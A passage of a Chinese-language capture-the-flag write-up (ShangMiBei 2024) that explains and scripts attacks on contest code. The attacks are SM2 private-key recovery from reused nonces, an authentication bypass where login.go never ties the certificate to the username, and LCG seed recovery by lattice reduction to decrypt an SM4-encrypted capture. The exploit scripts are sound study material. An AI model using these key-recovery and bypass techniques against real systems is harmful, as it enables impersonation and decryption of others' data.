BN_CTX_get(bn_ctx); x = BN_CTX_get(bn_ctx); y = BN_CTX_get(bn_ctx); p1x = BN_CTX_get(bn_ctx); p1y = BN_CTX_get(bn_ctx); q1x = BN_CTX_get(bn_ctx); q1y = BN_CTX_get(bn_ctx); r1 = BN_CTX_get(bn_ctx); s1 = BN_CTX_get(bn_ctx); u1 = BN_CTX_get(bn_ctx); u2 = BN_CTX_get(bn_ctx); xprime = BN_CTX_get(bn_ctx); yprime = BN_CTX_get(bn_ctx); k2 = BN_CTX_get(bn_ctx); k3 = BN_CTX_get(bn_ctx); x1 = BN_CTX_get(bn_ctx); y1 = BN_CTX_get(bn_ctx); r = BN_CTX_get(bn_ctx); s2 = BN_CTX_get(bn_ctx); s3 = BN_CTX_get(bn_ctx); s = BN_CTX_get(bn_ctx); tmp1 = BN_CTX_get(bn_ctx); tmp2 = BN_CTX_get(bn_ctx); tmp3 = BN_CTX_get(bn_ctx); if ( !BN_hex2bn(&e, str_e) || !BN_hex2bn(&p1x, str_p1x) || !BN_hex2bn(&p1y, str_p1y) || !BN_hex2bn(&q1x, str_q1x) || !BN_hex2bn(&q1y, str_q1y) || !BN_hex2bn(&r1, str_r1) || !BN_hex2bn(&s1, str_s1) || !BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") || !BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") || !BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") || !BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") || // d2 = ds (server key) !BN_hex2bn(&d2, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") || !BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") || !BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0") || !BN_rand_range(k2,n) || !BN_copy(k3, k2) ) { error(); return res; } // generate k2 in [1, n-1] while(BN_is_zero(k2)){ if ( !BN_rand_range(k2,n) || !BN_copy(k3, k2) ) { error(); return res; } } group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx); generator = EC_POINT_new(group); if (!generator) { error(); return res; } if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx)) { error(); return res; } if (1 != EC_GROUP_set_generator(group, generator, n, NULL)) { error(); return res; } G = EC_POINT_new(group); P = EC_POINT_new(group); P1 = EC_POINT_new(group); Q1 = EC_POINT_new(group); TMP = EC_POINT_new(group); // if r1=0 or s1=0, error if (BN_is_zero(r1) || BN_is_zero(s1)) { error(); return res; } // set P1 = (p1x, p1y) if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx)) { error(); return res; } // set Q1 = (q1x, q1y) if (1 != EC_POINT_set_affine_coordinates_GFp(group, Q1, q1x, q1y, bn_ctx)) { error(); return res; } //u1 = e * (s1^(-1)) mod n, u2 = r1 * (s1^(-1)) mod n if (!BN_mod_inverse(tmp1, s1, n, bn_ctx) || !BN_mod_mul(u1, e, tmp1, n, bn_ctx) || !BN_mod_mul(u2, r1, tmp1, n, bn_ctx) || !BN_mod(u1, u1, n, bn_ctx) || !BN_mod(u2, u2, n, bn_ctx) ) { error(); return res; } //u1*G + u2*P1 = (x', y') if (!EC_POINT_mul(group, TMP, u1, P1, u2, bn_ctx)) { error(); return res; } if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, xprime, yprime, bn_ctx)) { error(); return res; } //verify r1 = x' mod n if (!BN_mod(xprime, xprime, n, bn_ctx)) { error(); return res; } if(BN_cmp(r1,xprime)) { error_partial_verify(); return res; } //k2*G + k3*Q1 = (x1, y1) if (!EC_POINT_mul(group, TMP, k2, Q1, k3, bn_ctx)) { error(); return res; } if (!EC_POINT_get_affine_coordinates_GFp(group, TMP, x1, y1, bn_ctx)) { error(); return res; } //r=(e+x1) mod n if (!BN_mod_add(r, e, x1, n, bn_ctx)) { error(); return res; } if (BN_is_zero(r)) { error(); return res; } strncpy(res.r, BN_bn2hex(r), 2*SM2LEN+1); //s2 = d2 * k3 mod n, s3 = d2 * (r+k2) mod n if (!BN_mod_mul(s2, d2, k3, n, bn_ctx) || !BN_mod_add(tmp1, r, k2, n, bn_ctx) || !BN_mod_mul(s3, d2, tmp1, n, bn_ctx) || !BN_mod(s2, s2, n, bn_ctx) || !BN_mod(s3, s3, n, bn_ctx) ) { error(); return res; } printf("s2: %s\n",BN_bn2hex(s2)); printf("s3: %s\n",BN_bn2hex(s3)); strncpy(res.s2, BN_bn2hex(s2), 2*SM2LEN+1); strncpy(res.s3, BN_bn2hex(s3), 2*SM2LEN+1); // flag2 的格式如下:flag2{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx},大括号中的内容为 16 进制格式(字母小写)的 d2。 print_flag2(d2); rv = 0; BN_CTX_free(bn_ctx); return rv; } // 计算公钥P int getPublicKey(char *str_d2, char *str_p1x, char *str_p1y) { int rv = 1; BIGNUM *negone, *a, *b, *p, *n, *x, *y; BIGNUM *d2, *p1x, *p1y, *px, *py; BIGNUM *tmp1, *tmp2; EC_GROUP *group; EC_POINT *generator, *G, *P, *P1; BN_CTX *bn_ctx = BN_CTX_new(); BN_CTX_start(bn_ctx); if (!bn_ctx) { error(); return 1; } negone = BN_CTX_get(bn_ctx); a = BN_CTX_get(bn_ctx); b = BN_CTX_get(bn_ctx); p = BN_CTX_get(bn_ctx); n = BN_CTX_get(bn_ctx); d2 = BN_CTX_get(bn_ctx); x = BN_CTX_get(bn_ctx); y = BN_CTX_get(bn_ctx); p1x = BN_CTX_get(bn_ctx); p1y = BN_CTX_get(bn_ctx); px = BN_CTX_get(bn_ctx); py = BN_CTX_get(bn_ctx); tmp1 = BN_CTX_get(bn_ctx); tmp2 = BN_CTX_get(bn_ctx); if ( !BN_hex2bn(&d2, str_d2) || !BN_hex2bn(&p1x, str_p1x) || !BN_hex2bn(&p1y, str_p1y) || !BN_hex2bn(&a, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC") || !BN_hex2bn(&b, "28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93") || !BN_hex2bn(&p, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF") || !BN_hex2bn(&n, "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123") || !BN_hex2bn(&x, "32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7") || !BN_hex2bn(&y, "BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0") ) { error(); return 1; } group = EC_GROUP_new_curve_GFp(p, a, b, bn_ctx); generator = EC_POINT_new(group); if (!generator) { error(); return 1; } if (1 != EC_POINT_set_affine_coordinates_GFp(group, generator, x, y, bn_ctx)) { error(); return 1; } if (1 != EC_GROUP_set_generator(group, generator, n, NULL)) { error(); return 1; } G = EC_POINT_new(group); P = EC_POINT_new(group); P1 = EC_POINT_new(group); // set P1 = (p1x, p1y) if (1 != EC_POINT_set_affine_coordinates_GFp(group, P1, p1x, p1y, bn_ctx)) { error(); return 1; } //P = ((d2)^(-1)) * P1 - G if (!BN_zero(tmp1) || !BN_one(tmp2) || !BN_mod_sub(negone, tmp1, tmp2, n, bn_ctx) ) { error(); return 1; } if (!BN_mod_inverse(tmp1, d2, n, bn_ctx) || !EC_POINT_mul(group, P, negone, P1, tmp1, bn_ctx)) { error(); return 1; } if (!EC_POINT_get_affine_coordinates_GFp(group, P, px, py, bn_ctx)) { error(); return 1; } printf("Px: %s\n", BN_bn2hex(px)); printf("Py: %s\n", BN_bn2hex(py)); rv = 0; BN_CTX_free(bn_ctx); return rv; } int main(int argc, char *argv[]) { int rv = 1; if (server(argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], argv[7])) { error(); return rv; } rv = 0; return rv; } 这个题目代码特别特别的长,具体细节可以慢慢读。 .js文件是交互部分,梳理一下主要交互流程是: 用户输入口令和消息摘要,并发送给服务器用户本地计算出如下数据,这些数据可以在发送包的负载里找到:e, p1x, p1y, q1x, q1y, r1, s1 服务器接收到数据后,进行协同签名,并发送以下数据返回: s2, s3, r我们需要计算出服务器的私钥d2,d2就是flag2的值而.c文件则是告诉我们协同签名流程,这些数据主要有以下一些关系(运算均在模n下,n是曲线阶): 使用SM2的标准曲线,参数及生成元G均已知,服务器私钥为d2,并有以下P点坐标: 使用用户发送来的p1x, p1y, q1x, q1y这几个数据设置点P1、Q1使用用户发送来的e、r1、s1计算u1、u2:计算中间点T(x’,y’),验证r1=x’: 生成随机数k2、k3,并计算: 计算r: 计算s2、s3: 返回r、s2、s3整个步骤就是看注释一步步梳理出来的,我们的目的是算出d2来,而s2、s3中一共有三个变量d2、k2、k3,并不足以求出所有未知数,所以可能需要利用r再构造一个等式才行。 然而这个题藏了个相当阴的地方,仔细观察可以发现一行代码: BN_copy(k3, k2)这也就是说k3=k2,因此未知数实际上就只有两个,所以很轻松就可以拿到d2了XD。 exp: from Crypto.Util.number import * a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16) b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16) p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16) n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16) x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16) y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16) E = EllipticCurve(Zmod(p),[a,b]) G = E(x,y) ################################################################################# res e = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" p1x = "3e8eda67c5f1b70ac1950f615c2c4e0b0fe2544823ac96cb127ba318d96b4f5" p1y = "ab1bbde72e7d1ef42e0c9d18d44a10e7250a0dfea98194f2d8d591b355fc636" q1x = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e" q1y = "faef1f853c095d6de79ba9ad9a2026d742042116b38b1c672ae67c7c7e9e762d" r1 = "bc44ec67a42c1613d9cf99f7bd2d1d859ab94823ba6cfb1836e8083e23bbd41e" s1 = "6c1bfef8bacf4f9c8bc4703c66458715475e50d17ba84f666372b4f4c364e16f" r = "C987C22813DD2D0537433FF583C84B047E0313DCA072E187ACBB5A638D4E2BC0" s2 = "E1E08110628EEB528DC26AA117AFEF8613B1D22EBFD77A9F42524CEFEB57F676" s3 = "758CBCCFADFB5078DB26DF382A179C9AFDE1D0617D92EC5496F67380162235B6" tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3] e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3 = [int(i,16) for i in tt] P1 = E(p1x,p1y) Q1 = E(q1x,q1y) u1 = e * inverse(s1, n) % n u2 = r1 * inverse(s1, n) % n T = u1*G + u2*P1 x_, y_ = T.xy() assert r1 == x_ x1 = r - e d2 = (s3-s2)*inverse(r,n) % n print(hex(d2)) #flag2{a61bdbacbad62b141284a6955b14a27df01c09984e23785ec75b5e5c79e18f62} flag3(500 pts)题目: login.go: package controllers import ( "crypto/ecdsa" "encoding/hex" "encoding/pem" "fmt" jwtgo "github.com/dgrijalva/jwt-go" "github.com/gin-gonic/gin" "github.com/tjfoc/gmsm/sm2" "github.com/tjfoc/gmsm/x509" "http_svr/config" "http_svr/models" "http_svr/utils" "math/big" "net/http" "time" ) // 加载证书 func loadCertificate(certPEM string) (*x509.Certificate, error) { //certPEM := "-----BEGIN CERTIFICATE-----\nMIIBQDCB6KADAgECAgECMAoGCCqBHM9VAYN1MBIxEDAOBgNVBAoTB1Jvb3QgQ0Ew\nHhcNMjQwNzI0MDkyMTI5WhcNMjUwNzI0MDkyMTI5WjAaMRgwFgYDVQQKEw9NeSBP\ncmdhbml6YXRpb24wWTATBgcqhkjOPQIBBggqgRzPVQGCLQNCAASlPepwTvt5c4rF\nEsg1Mqs+Tyx/BwRkwyWqDyZd/gBFKp7veuoZnGK11c24xPOqR/eQZNW7ugsZW6eb\nLyXSsE9ooycwJTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEw\nCgYIKoEcz1UBg3UDRwAwRAIgG4/snkgUCW819OotUWUfMOo0BzHX8KeTTUSLpIjy\nEO4CIEq6X7h3nVNeFzdtLWdy5+1MeNwsWawHU5YzITsNtqOe\n-----END CERTIFICATE-----\n" block, _ := pem.Decode([]byte(certPEM)) if block == nil || block.Type != "CERTIFICATE" { return nil, fmt.Errorf("无效的证书格式") } return x509.ParseCertificate(block.Bytes) } // 验证证书 func validateCertificate(cert *x509.Certificate, rootCert *x509.Certificate) error { // 检查颁发者 if cert.Issuer.CommonName != rootCert.Subject.CommonName { return fmt.Errorf("证书校验失败") } // 检查颁发者组织 if len(cert.Issuer.Organization) != 1 || cert.Issuer.Organization[0] != rootCert.Subject.Organization[0] { return fmt.Errorf("证书校验失败") } // 检查颁发者国家 if len(cert.Issuer.Country) != 1 || cert.Issuer.Country[0] != rootCert.Subject.Country[0] { return fmt.Errorf("证书校验失败") } // 检查有效日期 if time.Now().Before(cert.NotBefore) || time.Now().After(cert.NotAfter) { return fmt.Errorf("证书校验失败") } // 检查组织 if len(cert.Subject.Organization) != 1 || cert.Subject.Organization[0] != "ShangMiBei" { return fmt.Errorf("证书校验失败") } // 检查组织单元 if len(cert.Subject.OrganizationalUnit) != 1 || cert.Subject.OrganizationalUnit[0] != "ShangMiBei2024" { return fmt.Errorf("证书校验失败") } // 检查国家 if len(cert.Subject.Country) != 1 || cert.Subject.Country[0] != "CN" { return fmt.Errorf("证书校验失败") } // 创建证书链 roots := x509.NewCertPool() roots.AddCert(rootCert) opts := x509.VerifyOptions{ Roots: roots, CurrentTime: time.Now(), } // 验证证书链 if _, err := cert.Verify(opts); err != nil { return fmt.Errorf("证书链校验失败: %v", err) } return nil } type SM2Signature struct { R, S *big.Int } // 验证签名 func validateSignature(message, signature string, publicKey *sm2.PublicKey) (bool, error) { //rawSignatureHex, err := base64.StdEncoding.DecodeString(base64EncodedSignature) hexSignature, err := hex.DecodeString(signature) if err != nil { return false, fmt.Errorf("invalid signature format") } isValid := publicKey.Verify([]byte(message), hexSignature) if isValid { return true, nil } else { return false, fmt.Errorf("signature is invalid") } } // Login 登录 func Login(c *gin.Context, conf config.Config) { // 解析请求参数 var req models.LoginReq if err := c.ShouldBind(&req); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } // 校验用户名是否已注册过 if _, exists := models.Users[req.Username]; !exists { c.JSON(http.StatusBadRequest, gin.H{"error": "username not exists"}) return } // 校验随机字符串是否过期 randomStr, exists := conf.Cache.Get(req.Username) if !exists { c.JSON(http.StatusBadRequest, gin.H{"error": "random string has expired"}) return } // 校验证书 cert, err := loadCertificate(req.Cert) if err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } if err := validateCertificate(cert, models.RootCert); err != nil { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } // 判断是否挑战成功(随机字符串的签名能否用证书中的公钥验签过) ecdsaPubKey, ok := cert.PublicKey.(*ecdsa.PublicKey) if !ok { c.JSON(http.StatusBadRequest, gin.H{"error": "public key in cert is not sm2"}) return } sm2PubKey := sm2.PublicKey{ Curve: ecdsaPubKey.Curve, X: ecdsaPubKey.X, Y: ecdsaPubKey.Y, } isValid, err := validateSignature(randomStr.(string), req.Signature, &sm2PubKey) if isValid { //c.JSON(http.StatusOK, gin.H{"msg": "success", "flag3": config.Flag3, "download_url": config.DownloadUrl}) generateToken2(c, req.Username, conf) } else { c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) } } // 生成令牌 func generateToken2(c *gin.Context, username string, conf config.Config) { j := &utils.JWT{ SigningKey: []byte(conf.SignKey), } claims := utils.CustomClaims{ Name: username, StandardClaims: jwtgo.StandardClaims{ NotBefore: time.Now().Unix() - conf.NotBeforeTime, // 签名生效时间 ExpiresAt: time.Now().Unix() + conf.ExpiresTime, // 过期时间 Issuer: conf.Issuer, // 签名的发行者 }, } token, err := j.CreateToken(claims) if err != nil { c.JSON(http.StatusOK, gin.H{ "code": 5091, "msg": "登录失败,系统有误", }) return } // 将当前用户对应的缓存中的随机字符串删除 conf.Cache.Delete(username) isAdmin := false if username == "shangmibeiadmin" { isAdmin = true } c.JSON(http.StatusOK, gin.H{ "code": 0, "msg": "登录成功", "token": token, "is_admin": isAdmin, }) return }数据库管理系统管理员证书.cer: -----BEGIN CERTIFICATE----- MIICXjCCAgWgAwIBAgIIatKGfgnOvYYwCgYIKoEcz1UBg3UwNjELMAkGA1UEBhMC Q04xEzARBgNVBAoTClNoYW5nTWlCZWkxEjAQBgNVBAMTCVNoYW5nTWlDQTAeFw0y NDA4MDUwNzUyMTdaFw0yNTEwMTAxMjAxMDFaMFUxEzARBgNVBAoTClNoYW5nTWlC ZWkxFzAVBgNVBAsTDlNoYW5nTWlCZWkyMDI0MRgwFgYDVQQDEw9zaGFuZ21pYmVp YWRtaW4xCzAJBgNVBAYTAkNOMFkwEwYHKoZIzj0CAQYIKoEcz1UBgi0DQgAEiHG2 LM9gsuJXiyo+0yDDZEVP1+3Qh+47g65eMeoUXoi0eUiGPvhehh4RaWacpVrQKJXQ qzCqkR4n1B+7ZymwXqOB3TCB2jAOBgNVHQ8BAf8EBAMCA4gwHQYDVR0lBBYwFAYI KwYBBQUHAwIGCCsGAQUFBwMBMA8GA1UdDgQIBAYBAgMEBQYwDwYDVR0jBAgwBoAE AQIDBDAuBgNVHREEJzAlgQtnaXRAZ2l0LmNvbYcEfwAAAYcQIAFIYAAAIAEAAAAA AAAAaDBXBgNVHR8EUDBOMCWgI6Ahhh9odHRwOi8vY3JsMS5leGFtcGxlLmNvbS9j YTEuY3JsMCWgI6Ahhh9odHRwOi8vY3JsMi5leGFtcGxlLmNvbS9jYTEuY3JsMAoG CCqBHM9VAYN1A0cAMEQCIEU8qEYGqgRTJPGI8YLRrpR7x3M2HzZOt377PwsnivGW AiA67pgq6qfrhKsWc/B2VUqi2t+ZlK+iAM6D+Ai7NoqYSw== -----END CERTIFICATE----题目连接上之后有一个简易的网站,由于复现不了所以只能大致描述一下它的功能: 有一个登录界面,可以输入用户名、私钥以及公钥文件,如果能通过login.go中的所有check就能成功登录还有一个注册界面,可以输入用户名和裸公钥,如果裸公钥格式正确,服务器就会用根证书发放一个完整公钥文件给你我们的目标是用“shangmibeiadmin”成功登录,就可以拿到flag3的值以及flag4的源码。 已知的这个证书文件是个公钥文件,查看一下发现这个证书的用户就是“shangmibeiadmin”,所以如果我们能知道他的私钥的话就可以直接登录了。结合这个题只有500分这个事实,我第一反应是私钥相当小,可以直接爆出来,但是用mitm爆了2^50无果,所以只能从其他部分入手。 用gmssl这个工具可以比较轻松的生成一对公私钥证书,我们只需要把公钥里的裸公钥拆出来,然后自己随便生成个用户名就可以注册一个用户,并得到服务器颁发的公钥证书。 这里需要注意一下不能直接注册“shangmibeiadmin”,它会显示已注册 然后查看login.go可以发现他似乎根本没检验证书持有者是不是和用户名一样,所以按理来说接下来的步骤很简单,我们只需要在用户名一栏输入“shangmibeiadmin”,然后输入刚才我们生成的公私钥证书中的私钥,再输入刚才服务器下发的证书就可以成功登录。 然而我们实在是不熟悉gmssl乃至openssl这些工具,并且不出网,不能自由查找怎么使用,所以只能一直用help来看有什么参数可以用。我们遇到的最大问题是:gmssl必须要一个密码,才能生成sm2私钥文件,而这个私钥文件是用这个密码加密过的,但是我们怎么找都找不到怎么解密这个私钥文件并解析他。 这里花了很长很长时间,最后离比赛结束不到一小时的时候想了一个笨办法出来——直接去源码c文件里面加几行打印私钥d的文件,并重新编译一下再用这个工具: 这个方法很笨但是确实有效,由于脑子有点混乱,也想不太清楚d具体该怎么拼,就用从前往后和从后往前两种顺序得到两个d,并用是否满足P=dG这个式子来进行核验,最后好歹是把自己生成的私钥d搞出来了: from Crypto.Util.number import * from tqdm import * a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16) b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16) p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16) n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16) x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16) y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16) E = EllipticCurve(Zmod(p),[a,b]) G = E(x,y) t = "3059301306072a8648ce3d020106082a811ccf5501822d03420004ed7a7dce0e4e2e4b779f76b4ec407b8987ba5c3beba5cd454604e587fce0a17160b29510b2beb36e36470fba3ed6bd436049a0b588e931c71df6cf0b0d0e6407" x1 = int(t[-128:-64], 16) y1 = int(t[-64:], 16) P = E(x1,y1) dd = [12437958772606967559,9879664919779981675,172814172046494727,15816591967453487196] d = (dd[3] << (64*3)) + (dd[2] << (64*2)) + (dd[1] << (64*1)) + (dd[0] << (64*0)) print(d) print(hex(d)) print(d*G == P)之后按刚才的方式就可以登录上网站拿到flag3以及flag4的源码。 flag4(1000 pts)题目: SM4加密解密代码.py: from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT MULTIPLIER = 6364136223846793005 ADDEND = 1 MASK = 0xffffffffffffffff ITERATIONS = 1000 # 从文件中读取seed def read_seed(file_path): with open(file_path, 'r') as file: seed = int(file.read().strip(), 16) print("seed:", hex(seed)) return seed global_seed = read_seed('seed.txt') def genRandom(): global global_seed # print("global_seed", hex(global_seed)) for _ in range(ITERATIONS): global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK return (global_seed >> 32) & 0xffffffff # 16进制字符串转bytes def HexStringToBytes(hex_str): return bytes.fromhex(hex_str) # bytes转16进制字符串 def BytesToHexString(byte_seq): return byte_seq.hex() def genSM4KeyOrIV(): return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4))) def SM4Encrypt(data_bytes, key_bytes, iv_bytes): sm4 = CryptSM4() sm4.set_key(key_bytes, SM4_ENCRYPT) return sm4.crypt_cbc(iv_bytes, data_bytes) def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes): sm4 = CryptSM4() sm4.set_key(key_bytes, SM4_DECRYPT) return sm4.crypt_cbc(iv_bytes, cipher_bytes) print("############ SM4 Cryptographic Services Start... ###################") iv_bytes = genSM4KeyOrIV() print("iv hex:", BytesToHexString(iv_bytes)) key_bytes = genSM4KeyOrIV() print("key hex:", BytesToHexString(key_bytes)) # 从test.pcapng读取数据并加密 with open('test.pcapng', 'rb') as f1: plain1_bytes = f1.read() cipher1_bytes = SM4Encrypt(plain1_bytes,key_bytes,iv_bytes) # 写密文数据到cipherText.dat with open('cipherText.dat', 'wb') as f2: f2.write(cipher1_bytes) # 从cipherText.dat读密文数据 with open('cipherText.dat', 'rb') as f3: cipher2_bytes = f3.read() plain2_bytes = SM4Decrypt(cipher2_bytes,key_bytes,iv_bytes) # 解密密文并将明文写入到plainText.pcapng(含flag4) with open('plainText.pcapng', 'wb') as f4: f4.write(plain2_bytes)总经理协同签名流量包加密使用的iv.txt: 90fc5cf2e2f47488a257fd51e0ae615终于是一个python加密了,倍感亲切。题目主要流程是: 读取seed.txt文件得到初始seed用genSM4KeyOrIV函数连续生成16字节的iv和key读取一个流量包文件,并用iv、key对流量包文件进行SM4加密给出密文文件以及iv,要求还原流量包有古怪的地方只可能在genSM4KeyOrIV函数里,查看一下发现其是连续调用四次genRandom函数并拼接而成,而genRandom函数是: def genRandom(): global global_seed # print("global_seed", hex(global_seed)) for _ in range(ITERATIONS): global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK return (global_seed >> 32) & 0xffffffff可以看出这是一个LCG过程,其会返回seed迭代一千次之后的高32位。 我们知道IV,也就是我们知道连续四次迭代一千次之后的seed高位,这就变成了一个简单的HNP问题。由于LCG迭代过程可以写为如下矩阵乘法: 所以一千次迭代也就是: 对于题目来说是已知高32位,那么以IV的第一个分组和第二个分组为例,式子就可以写成: 所以对IV所有连续的两组用第一行对应的线性等式,就可以把问题转化成规约低32位的HNP问题了,得到所有低位之后就可以向后迭代得到key,从而恢复流量包。 exp: get xl: c = "90fc5cf2e2f47488a257fd51e0ae615b" MULTIPLIER = 6364136223846793005 ADDEND = 1 MASK = 0xffffffffffffffff + 1 ITERATIONS = 1000 t1,t2,t3,t4 = c[:8],c[8:16],c[16:24],c[24:32] res = [t1,t2,t3,t4] t = [int(i,16) for i in res] ################################################## M = Matrix(Zmod(MASK),[ [MULTIPLIER,1], [0,1] ]) Mn = M^ITERATIONS a,b = Mn[0] a,b = int(a),int(b) nums = 4 L = Matrix(ZZ,2*nums,2*nums) for i in range(nums+1): L[i,i] = 1 for i in range(nums-1): L[i,nums+i+1] = a L[i+1,nums+i+1] = -1 c = a*2^32*t[i] - 2^32*t[i+1] + b L[nums,nums+i+1] = c L[nums,nums] = 2^32 for i in range(nums-1): L[-i-1,-i-1] = MASK L[:,-(nums-1):] *= MASK res = L.LLL()[0][:4] print(res)decrypt: from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT MULTIPLIER = 6364136223846793005 ADDEND = 1 MASK = 0xffffffffffffffff ITERATIONS = 1000 global_seed = 0 # TODO iv_high = 0xe0ae615b iv_low = 187714221 iv_last = (iv_high << 32) + iv_low global_seed = iv_last def genRandom(): global global_seed # print("global_seed", hex(global_seed)) for _ in range(ITERATIONS): global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK return (global_seed >> 32) & 0xffffffff # 16进制字符串转bytes def HexStringToBytes(hex_str): return bytes.fromhex(hex_str) # bytes转16进制字符串 def BytesToHexString(byte_seq): return byte_seq.hex() def genSM4KeyOrIV(): return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4))) def SM4Encrypt(data_bytes, key_bytes, iv_bytes): sm4 = CryptSM4() sm4.set_key(key_bytes, SM4_ENCRYPT) return sm4.crypt_cbc(iv_bytes, data_bytes) def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes): sm4 = CryptSM4() sm4.set_key(key_bytes, SM4_DECRYPT) return sm4.crypt_cbc(iv_bytes, cipher_bytes) iv_bytes = HexStringToBytes("90fc5cf2e2f47488a257fd51e0ae615b") key_bytes = genSM4KeyOrIV() print(key_bytes) with open("总经理协同签名流量包(加密后的文件).dat", "rb") as fp: cipher_bytes = fp.read() plain_bytes = SM4Decrypt(cipher_bytes, key_bytes, iv_bytes) with open("plainText.pcapng", "wb") as fp: fp.write(plain_bytes)然后就可以在流量包里找到flag4。 最终挑战 *在比赛还是不到半分钟的时候,我们队才惊险地交上flag4,完全没有时间看最终挑战了,因此只能赛后复现一下。 flag4的流量包跟踪TCP流,可以看到里面有以下内容: 除了flag4外,剩下的数据很显然是和flag2的协同签名有关的,而相比于flag2来说,这里多给了一个client_sign字段的值,再回头看看.js文件可以发现这是clientSign2函数的返回值,其流程为: 在clientSign1的过程里会生成一个随机数k1,满足: 传入未知的用户私钥d1,以及已知的s2、s3、r计算s: 可以看出s1、s的生成等式其实分别就是关于d1、k1的两个变量的方程,所以就可以解出d1了。而我们的目的是伪造一个签名,解出d1之后走一遍协同签名的流程就好了,自然也就没有难度。 没有交互部分了,但可以用d1联系的两个点来检验d1的正确性 exp: from Crypto.Util.number import * a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16) b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16) p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16) n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16) x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16) y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16) E = EllipticCurve(Zmod(p),[a,b]) G = E(x,y) ################################################################################# res q1x = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26" q1y = "79a9748598cc2886b09fa856b9806b8789b8a719f6a969e2f08da35ea997bc5d" e = "eaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6" r1 = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26" s1 = "47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05" p1x = "4c84b1cf8e9255c9385c07c2bf3426a9497d49e2b33c328ab02c4aed8b021bad" p1y = 